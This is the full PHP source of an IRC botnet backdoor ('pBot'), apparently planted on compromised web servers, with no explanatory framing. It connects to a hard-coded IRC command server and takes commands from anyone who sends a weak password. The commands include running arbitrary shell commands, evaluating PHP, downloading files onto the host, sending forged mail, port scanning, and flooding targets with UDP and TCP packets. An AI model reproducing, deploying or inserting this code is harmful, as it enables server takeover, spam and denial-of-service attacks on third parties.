?><?

set_time_limit(0);
error_reporting(0);

class pBot
{
 var $config = array("server"=>"213.134.126.10",
                     "port"=>8889,
                     "pass"=>"",
                     "prefix"=>"chaos|",
                     "maxrand"=>8,
                     "chan"=>"#chaos",
                     "key"=>"",
                     "modes"=>"+iB-x",
                     "password"=>"chaos",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname
                     );
 var $users = array();
 function start()
 {
    if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
       $this->start();
    $ident = "";
    $alph = range("a","z");
    for($i=0;$i<$this->config['maxrand'];$i++)
       $ident .= $alph[rand(0,25)];
    if(strlen($this->config['pass'])>0)
       $this->send("PASS ".$this->config['pass']);
    $this->send("USER $ident 127.0.0.1 localhost :$ident");
    $this->set_nick();
    $this->main();
 }
 function main()
 {
    while(!feof($this->conn))
    {
       $this->buf = trim(fgets($this->conn,512));
       $do = explode(" ",$this->buf);
       if(substr($this->buf,0,6)=="PING :")
       {
          $this->send("PONG :".substr($this->buf,6));
       }
       if(isset($do[1]) && $do[1] =="001")
       {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);
          $this->join($this->config['chan'],$this->config['key']);
       }
       if(isset($do[1]) && $do[1]=="433")
       {
          $this->set_nick();
       }
       if($this->buf != $old_buf)
       {
          $mdo = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgdo = explode(" ",$msg);
          $nick = explode("!",$do[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $do[0];
          if($msgdo[0]==$this->nick)
          {
           for($i=0;$i<count($msgdo);$i++)
              $mdo[$i] = $msgdo[$i+1];
          }
          else
          {
           for($i=0;$i<count($msgdo);$i++)
              $mdo[$i] = $msgdo[$i];
          }
          if(count($do)>2)
          {
             switch($do[1])
             {
                case "QUIT":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PART":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PRIVMSG":
                   if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
                   {
                      if(substr($mdo[0],0,1)==".")
                      {
                         switch(substr($mdo[0],1))
                         {
                            case "login":
                              if($mdo[1]==$this->config['password'])
                              {
                                 $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged in");
                                 $this->log_in($host);
                              }
                              else
                              {
                                 $this->privmsg($this->config['chan'],"[\2auth\2]: Incorrect password from $nick");
                              }
                            break;
                         }
                      }
                   }
                   elseif($this->is_logged_in($host))
                   {
                      if(substr($mdo[0],0,1)==".")
                      {
                         switch(substr($mdo[0],1))
                         {
                            case "restart":
                               $this->send("QUIT :restart");
                               fclose($this->conn);
                               $this->start();
                            break;
                            case "mail": //mail to from subject message
                               if(count($mdo)>4)
                               {
                                  $header = "From: <".$mdo[2].">";
                                  if(!mail($mdo[1],$mdo[3],strstr($msg,$mdo[4]),$header))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send");
                                  }
                                  else 
                                  {
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mdo[1]."\2");
                                  }
                               }
                            break;
                            case "dns":
                               if(isset($mdo[1]))
                               {
                                  $ip = explode(".",$mdo[1]);
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mdo[1]." => ".gethostbyaddr($mdo[1]));
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mdo[1]." => ".gethostbyname($mdo[1]));
                                  }
                               }
                            break;
                            case "info":
                               $this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
                            break;
                            case "do":
                               if(isset($mdo[1]))
                               {
                                  $command = substr(strstr($msg,$mdo[0]),strlen($mdo[0])+1);
                                  $pipe = popen($command,"r");
                                  while(!feof($pipe))
                                  {
                                     $pbuf = trim(fgets($pipe,512));
                                     if($pbuf != NULL)
                                        $this->privmsg($this->config['chan'],"     : $pbuf");
                                  }
                                  pclose($pipe);
                               }
                            break;
                            case "rndnick":
                               $this->set_nick();
                            break;
                            case "raw":
                               $this->send(strstr($msg,$mdo[1]));
                            break;
                            case "php":
                               $eval = eval(substr(strstr($msg,$mdo[1]),strlen($mdo[1])));
                            break;
                            case "do2":
                               $command = substr(strstr($msg,$mdo[0]),strlen($mdo[0])+1);
                               $do2 = shell_do2($command);
                               $ret = explode("\n",$do2);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;
                            case "pscan": // .pscan 127.0.0.1 6667
                               if(count($mdo) > 2)
                               {
                                  if(fsockopen($mdo[1],$mdo[2],$e,$s,15))
                                     $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mdo[1].":".$mdo[2]." is \2open\2");
                                  else
                                     $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mdo[1].":".$mdo[2]." is \2closed\2");
                               }
                            break;
                            case "ud.server": // .udserver <server> <port> [password]
                               if(count($mdo)>2)
                               {
                                  $this->config['server'] = $mdo[1];
                                  $this->config['port'] = $mdo[2];
                                  if(isset($mcmcd[3]))
                                  {
                                   $this->config['pass'] = $mdo[3];
                                   $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mdo[1].":".$mdo[2]." Pass: ".$mdo[3]);
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mdo[1].":".$mdo[2]);
                                  }
                               }
                            break;
                            case "download":
                               if(count($mdo) > 2)
                               {
                                  if(!$fp = fopen($mdo[2],"w"))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2download\2]: Cannot download, permission denied.");
                                  }
                                  else
                                  {
                                     if(!$get = file($mdo[1]))
                                     {
                                        $this->privmsg($this->config['chan'],"[\2download\2]: Unable to download from \2".$mdo[1]."\2");
                                     }
                                     else
                                     {
                                        for($i=0;$i<=count($get);$i++)
                                        {
                                           fwrite($fp,$get[$i]);
                                        }
                                        $this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mdo[1]."\2 downloaded to \2".$mdo[2]."\2");
                                     }
                                     fclose($fp);
                                  }
                               }
                            break;
                            case "die":
                               $this->send("QUIT :die command from $nick");
                               fclose($this->conn);
                               exit;
                            case "logout":
                               $this->log_out($host);
                               $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged out");
                            break;
                            case "udp":
                               if(count($mdo)>4)
                               {
                                  $this->udp($mdo[1],$mdo[2],$mdo[3],$mdo[4]);
                               }
                            break;
                            case "tcp":
                               if(count($mdo)>5)
                               {
                                  $this->tcp($mdo[1],$mdo[2],$mdo[3],$mdo[4],$mdo[5]);
                               }
                            break;
                         }
                      }
                   }
                break;
             }
          }
       }
       $old_buf = $this->buf;
    }
    $this->start();
 }
 function send($msg)
 {
    fwrite($this->conn,"$msg\r\n");
 }
 function join($chan,$key=NULL)
 {
    $this->send("JOIN $chan $key");
 }
 function privmsg($to,$msg)
 {
    $this->send("PRIVMSG $to :$msg");
 }
 function is_logged_in($host)
 {
    if(isset($this->users[$host]))
       return 1;
    else
       return 0;
 }
 function log_in($host)
 {
    $this->users[$host] = true;
 }
 function log_out($host)
 {
    unset($this->users[$host]);
 }
 function set_nick()
 {
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
          $this->nick = "[NIX]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
          $this->nick = "[WIN]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
          $this->nick = "[SUN]";
       else
          $this->nick = "[BSD]";
    }
    else
    {
       $this->nick = "[C]";
    }
    $this->nick .= $this->config['prefix'];
    for($i=0;$i<$this->config['maxrand'];$i++)
       $this->nick .= mt_rand(0,9);
    $this->send("NICK ".$this->nick);
 }
 function udp($host,$packets,$packetsize,$delay)
 {
    $this->privmsg($this->config['chan'],"[\2udp\2]: Sending $packets packets to $host. Packet size: $packetsize");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
       $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
       if(!$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5))
       {
          $this->privmsg($this->config['chan'],"[\2udp\2]: Error: <$e>");
          return 0;
       }
       else
       {
          fwrite($fp,$packet);
          fclose($fp);
       }
       sleep($delay);
    }
    $this->privmsg($this->config['chan'],"[\2udp\2]: Finished sending $packets packets to $host.");
 }
 function tcp($host,$packets,$packetsize,$port,$delay)
 {
    $this->privmsg($this->config['chan'],"[\2tcp\2]: Sending $packets packets to $host:$port. Packet size: $packetsize");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
       $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
       if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
       {
          $this->privmsg($this->config['chan'],"[\2tcp\2]: Error: <$e>");
          return 0;
       }
       else
       {
          fwrite($fp,$packet);
          fclose($fp);
       }
       sleep($delay);
    }
    $this->privmsg($this->config['chan'],"[\2tcp\2]: Finished sending $packets packets to $host:$port.");
 }
}

$bot = new pBot;
$bot->start();

?>